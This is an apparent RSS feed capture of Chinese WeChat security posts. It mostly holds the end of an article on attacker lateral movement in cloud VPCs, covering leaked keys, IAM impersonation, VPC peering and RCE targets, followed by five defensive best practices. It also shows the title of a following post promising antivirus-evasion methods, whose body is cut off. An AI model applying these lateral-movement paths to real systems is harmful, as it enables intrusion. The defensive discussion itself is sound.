2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Linux</p> 机器很容易成为目标，因为蠕虫可以扫描它并通过暴力破解本地用户的密码。<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">DreamBus</p>僵尸网络就是一个很好的例子。</div><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;">冒充有效账户</h4><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">黑客可以滥用现有账户的明文云密钥，并在具有正确权限的情况下，冒充 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM</p> 身份透过 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM</p> 层危害其他云资源。这可以通过云提供商 API 命令在原先 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VPC</p>之外发生, 例如 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">S3</p> 存储桶。管理员身份遭到入侵——或者可以升级到此类特权的身份——可能会导致完全接管帐户。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.3611111111111111" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=74368de4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbyfUCeObQ4GlUrz3T31zsU3PSMTdubbZ5pQ24yjqG8kyw49GGYYMbRer3S8RddrFokVWdfMbmQA8Q%2F640%3Fwx_fmt%3Dother"/></figure><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);">通过 VPC 对等互连</h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">与站点到站点 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VPN</p> 一样，VPC 对等互连支持两个隔离环境之间的通信。它得到所有主要 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">CSP</p>（<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AWS</p>、<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure</p>、<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">GCP</p>）的支持。如果黑客进入与另一个授予其不受限制的网络访问权限的对等 VPC，则黑客可以“逃离”第一个网络，横向移动到第二个网络中的其他节点，并可能危及租户之间的资源。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.3527777777777778" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=7e7ca8e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbyfUCeObQ4GlUrz3T31zsU3RGPUs0rS3V8KBRQFsmrTPxxVnh3Xf8GPdrbxHS252qvVyqntfia8WUQ%2F640%3Fwx_fmt%3Dother"/></figure><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);">发现 IaaS/PaaS 数据库</h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">不管它们是否公开, 驻留在被入侵 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VPC</p> 中的明文私钥和凭证可以授予黑客访问 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IaaS</p> 或 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">PaaS</p> 数据库（例如 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">RDS</p> 实例）的权限。这些类型的数据库可能包含高度敏感的数据，例如凭证或客户 PII。</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);">利用漏洞和错误配置</h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在寻找对横向移动至关重要的有价值资产时，黑客通常会寻找位于被入侵 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VPC</p> 中容易得手的目标。理想的目标是具有漏洞和安全配置错误的可利用节点，例如网络可访问的、具有严重 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">RCE</p> 漏洞且没有严格的安全组规则的内部虚拟机。</div><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;">大多数云环境都容易受到横向移动的影响</h2><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Wiz</p>机构 调查了众多云环境，都拥有至少一个横向移动路径，该路径涉及 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VPC</p> 内公开暴露的节点，该 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VPC</p> 具有明文 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">SSH</p> 私钥或明文长期云密钥（例如 AWS 访问密钥）。</div><blockquote data-tool="mdnice编辑器" style="border-top: none;border-bottom: none;font-size: 0.9em;overflow: auto;padding: 10px 10px 10px 20px;margin: 10px 5px;border-left-color: rgb(150, 84, 181);border-right: 1px solid rgb(150, 84, 181);color: rgb(97, 97, 97);quotes: none;background: rgb(251, 249, 253);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">我们的研究结果表明，大约 58% 的云环境至少有一个公开暴露的节点，其中存储了明文长期云密钥，而大约 35% 的云环境至少有一个公开暴露的节点，其中存储有明文 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">SSH</p> 私钥。</div></blockquote><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在任何一种情况下，这种漏洞都会使黑客能够在有问题的环境中提升他们的特权或连接到 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VPC</p> 中的其他节点。</div><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">可以看出，这些数字反映出许多组织的云环境中缺乏针对横向移动攻击的充分防御。</p><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;">推荐的最佳实践</h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">以下5 个关键网络最佳实践, 任何组织都应在其云环境中实施以降低横向移动攻击风险：</p><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);">实施严格的防火墙（安全组和<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ACL</p>）</div></li></ol><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">安全组充当进出 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VPC</p> 内 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VM</p> 实例的入站/出站流量的防火墙，而 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ACL</p> 充当子网级别的防火墙。所有安全组和 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">ACL</p> 的最佳策略是对所有规则应用“最小特权”原则：通过限制对特定 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IP</p> 地址的访问可以减少被入侵时的攻击面。例如，严格配置的安全组可以通过阻止网络连接来防止黑客横向移动到在特定端口上具有 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">RCE</p> 漏洞的非对外 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VM</p>。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="180" data-backw="558" data-ratio="0.32314814814814813" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;width: 100%;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=c2db248c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbyfUCeObQ4GlUrz3T31zsU36yxI3UsQv7HeWyunTTokI634kKOCArz6t4PMricSsVZYEw2LmmDAK7A%2F640%3Fwx_fmt%3Dother"/></figure><ol start="2" data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">去除明文云和私钥</p></li></ol><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">明文长期云密钥不应存储在您的云节点中。泄露的密钥使黑客能够“逃离”网络层并在云服务和资源之间横向移动，从而保持持久性。相反，请确保只有具有最低权限的角色才附加到 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">EC2</p> 实例（<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure</p> 中的严格 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">RBAC</p> 角色）。这些角色会自动生成临时凭证，从而消除密钥暴露和持久性的风险。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">至于 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">SSH</p> 私钥，组织可以采用更安全的方法对内部机器进行远程身份验证。例如，他们可以使用堡垒主机来防止端口暴露，或利用基于 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM</p> 权限的专用云提供商服务，如 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AWS</p> 的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">SSM API</p>或 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">GCP</p> 的身份感知代理(<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAP</p>)。对于 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Linux</p> 机器，这些专用服务比密码身份验证更安全。</div><ol start="3" data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">修复关键漏洞</p></li></ol><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">一旦黑客成功入侵 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VPC</p> 中的节点，他们将开始扫描其中存在可利用关键漏洞的其他节点。因此，<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VPC</p> 中任何节点（无论是暴露在互联网上还是未暴露在互联网上）的任何严重漏洞都应立即得到修复。</div><ol start="4" data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">隔离你的环境</p></li></ol><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">根据功能（例如生产）或组（例如财务）将环境拆分为不同的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VPC</p> 可以增强您的安全态势。通过增强对资源的可见性并在发生安全漏洞时最小化扩散半径, 来减少攻击面并降低横向移动风险。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="208" data-backw="558" data-ratio="0.37222222222222223" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;width: 100%;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d1bc181c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbyfUCeObQ4GlUrz3T31zsU36ucp5vGLRvmBTFljqe4ic2kzYnoVYjnm3EOF6oZKO3UIKbK5SC4yJUQ%2F640%3Fwx_fmt%3Dother"/></figure><ol start="5" data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><p style="line-height: 26px;color: rgb(1, 1, 1);">采用私有链接</p></li></ol><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">与跨两个不同 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VPC</p> 提供广泛双向访问的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VPC</p> 对等互连相反，私有链接是一种更受限制的单向机制。专用链接允许资源向任何选定的订阅公开端点服务，以便直接连接 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VPC</p>。它由所有主要 CSP提供（AWS PrivateLink、GCP Private Service Connect、Azure Private Link ）。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="276" data-backw="558" data-ratio="0.49444444444444446" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;width: 100%;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=aa7a66ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbyfUCeObQ4GlUrz3T31zsU3ibOh70ibGe8ZJ2EbThuYs4BuAPORic4zO3SLV8PT5eJHl8E7icmDUAldKg%2F640%3Fwx_fmt%3Dother"/></figure><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);">请点一下右下角的“在看”，谢谢！！</h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);">请帮忙点赞， 谢谢！！</h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);">请帮忙转发，谢谢！！</h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);">暗号: 054312</h1></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=74368de4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbyfUCeObQ4GlUrz3T31zsU3PSMTdubbZ5pQ24yjqG8kyw49GGYYMbRer3S8RddrFokVWdfMbmQA8Q%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7e7ca8e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbyfUCeObQ4GlUrz3T31zsU3RGPUs0rS3V8KBRQFsmrTPxxVnh3Xf8GPdrbxHS252qvVyqntfia8WUQ%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c2db248c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbyfUCeObQ4GlUrz3T31zsU36yxI3UsQv7HeWyunTTokI634kKOCArz6t4PMricSsVZYEw2LmmDAK7A%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d1bc181c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbyfUCeObQ4GlUrz3T31zsU36ucp5vGLRvmBTFljqe4ic2kzYnoVYjnm3EOF6oZKO3UIKbK5SC4yJUQ%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=aa7a66ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbyfUCeObQ4GlUrz3T31zsU3ibOh70ibGe8ZJ2EbThuYs4BuAPORic4zO3SLV8PT5eJHl8E7icmDUAldKg%2F640%3Fwx_fmt%3Dother"/></p>



<p><a href="2247489469">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=098554ca&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjY0NTExNA%3D%3D%26mid%3D2247489469%26idx%3D1%26sn%3D85ee21a39f9fd7c58c1951c737d4cfd6">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 25 May 2023 08:05:00 +0800</pubDate>
    </item>
    <item>
      <title>卡巴defender火绒360免杀十种方法10:  草船借箭</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247489468&amp;idx=1&amp;sn=f01e7b08ddf4a5519ec729a9ef9063bc</link>
      <description>文末暗号</description>
      <content:encoded><![CDATA[<p>
原创 <span>debugeeker</span> <span>2023-05-24 08:07</span> <span style="display: inline-block;">广东</span>
</p>

<p>文末暗号</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e911b4f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbyLichGlVIJvYlyjxrnMNm7kl96icV9U5G3Qj4iaHibUt3pkkN430tPxdPMYdHjAMibLJwV8iaSmhgFHIsQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><mp-common-profile class="custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-weuitheme="light" data-id="MzU4NjY0NTExNA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/QXsgGBUcicbx6xrcgOW7u8WSYofSfx2y0VWAmzT5CR8RNMDIgmWTZbyepagBpxicbYUUcBrMzEHLpHRRB2bPJTeA/0?wx_fmt=png" data-nickname="奶牛安全" data-alias="" data-signature="像奶牛一样分享奶牛，不对，是安全技术" data-from="0" data-weui-theme="light"></mp-common-profile></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding-right: 10px;padding-left: 10px;line-height: 1.6;word-break: break-word;overflow-wrap: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: rgb(89, 89, 89);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 